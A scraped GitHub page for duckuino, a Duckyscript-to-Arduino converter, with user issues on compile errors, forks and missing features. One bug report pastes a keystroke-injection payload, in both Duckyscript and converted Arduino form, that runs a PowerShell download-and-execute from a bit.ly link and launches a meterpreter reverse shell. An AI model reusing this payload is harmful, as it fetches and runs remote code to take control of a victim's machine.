plazmaz / duckuino Goto Github PK
View Code? Open in Web Editor NEWA basic Duckyscript to Arduino converter
License: MIT License
A basic Duckyscript to Arduino converter
License: MIT License
The original duckyscript code
DELAY 5000
GUI r
DELAY 500
STRING cmd
ENTER
STRING cd %TEMP%
ENTER
STRING copy con met.cmd
ENTER
STRING start C:/Windows/System32/Ribbons.scr /s
ENTER
STRING powershell "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost <IP_ADDRESS> -Lport -Force"
ENTER
CTRL z
ENTER
DELAY 100
STRING met.cmd && exit
ENTER
The converted code
/* Converted by Duckuino:
type(KEY_LEFT_GUI,false);
type('R',false);
Keyboard.releaseAll();
delay(500);
print(F("CMD"));
type(KEY_RETURN,false);
Keyboard.releaseAll();
print(F("CD %TEMP%"));
type(KEY_RETURN,false);
Keyboard.releaseAll();
print(F("COPY CON MET.CMD"));
type(KEY_RETURN,false);
Keyboard.releaseAll();
print(F("START C:/WINDOWS/SYSTEM32/RIBBONS.SCR /S"));
type(KEY_RETURN,false);
Keyboard.releaseAll();
print(F("POWERSHELL "IEX (NEW-OBJECT NET.WEBCLIENT).DOWNLOADSTRING('HTTP://BIT.LY/14BZZ0C'); INVOKE-SHELLCODE -PAYLOAD WINDOWS/METERPRETER/REVERSE_HTTPS -LHOST <IP_ADDRESS> -LPORT -FORCE""));
type(KEY_RETURN,false);
Keyboard.releaseAll();
type(KEY_LEFT_CTRL,false);
type('Z',false);
Keyboard.releaseAll();
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(100);
print(F("MET.CMD && EXIT"));
type(KEY_RETURN,false);
Keyboard.releaseAll();
Keyboard.end();
}
void type(int key, boolean release) {
Keyboard.press(key);
if(release)
Keyboard.release(key);
}
void print(const __FlashStringHelper *value) {
Keyboard.print(value);
}
void loop(){}
The compilation error:
C:\Users\HaVoK\Documents\Arduino\sketch_aug02a\sketch_aug02a.ino: In function 'void setup()':
sketch_aug02a:7: error: 'Keyboard' not found. Does your sketch include the line '#include <Keyboard.h>'?
Keyboard.begin();
^
sketch_aug02a:10: error: 'KEY_LEFT_GUI' was not declared in this scope
type(KEY_LEFT_GUI,false);
^
sketch_aug02a:17: error: 'KEY_RETURN' was not declared in this scope
type(KEY_RETURN,false);
^
sketch_aug02a:40: error: 'KEY_LEFT_CTRL' was not declared in this scope
type(KEY_LEFT_CTRL,false);
^
C:\Users\HaVoK\Documents\Arduino\sketch_aug02a\sketch_aug02a.ino: In function 'void type(int, boolean)':
sketch_aug02a:55: error: 'Keyboard' not found. Does your sketch include the line '#include <Keyboard.h>'?
Keyboard.press(key);
^
C:\Users\HaVoK\Documents\Arduino\sketch_aug02a\sketch_aug02a.ino: In function 'void print(const __FlashStringHelper*)':
sketch_aug02a:60: error: 'Keyboard' not found. Does your sketch include the line '#include <Keyboard.h>'?
Keyboard.print(value);
^
exit status 1
'Keyboard' not found. Does your sketch include the line '#include <Keyboard.h>'?
*btw, thanks for fixing the previous issue so fast.
Hi man, i'd like to modify your code to improve it, so can you put a liscence in you repo, so anybody can do anything with ur code :D.
Thanks, seeya !
Hi man i renamed my project to Dckuino.js, please change the link to https://github.com/Thecakeisgit/Dckuino.js
Also if you can add https://github.com/d4n5h/Duckuino, it will be cool :D
can you make it that it does not search for like GUI when you type gui(small letters)?
My compiler is better than Thecakegit's compiler:
https://github.com/DanielShlomo/Duckuino
As your git is getting more attention it will be better if you'll switch to my compiler/converter.
Changes:
Added support for: REM,ESCAPE and REPLAY/REPEAT.
Added support for mouse movements and clicks ("MOUSEMOVE xPos,yPos,wheelPos" | "MOUSECLICK left/right/middle").
Fixed empty lines bug.
Rearranged the code and files.
Added simple Bootstrap CDN UI.
Switched to associative arrays/objects to reduce the use of For loops.
Added functionality for key combos.
Removed console.error for comands (i'll try to reimplement it back again).
I take your example -
DELAY 100
STRING Hello world! I am Duckuino!
ENTER
CTRL ALT DELETE
and receive -
print(F("HELLO WORLD! I AM DUCKUINO!"));
type(KEY_RETURN,false);
Keyboard.releaseAll();
type(KEY_LEFT_CTRL,false);
type(' ',false);
Keyboard.releaseAll();
The strings are fine and so is the single command but CTRL ALT DELETE
is lost
Your program does not handle the repeat command at al. you can just create a C loop with a number that will do -1 every time it loops again.
I've tried running it in multiple browers and even through it up in a webserver to see if that would work, no dice. You type your code into the left side, hit the button, and nothing happens.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.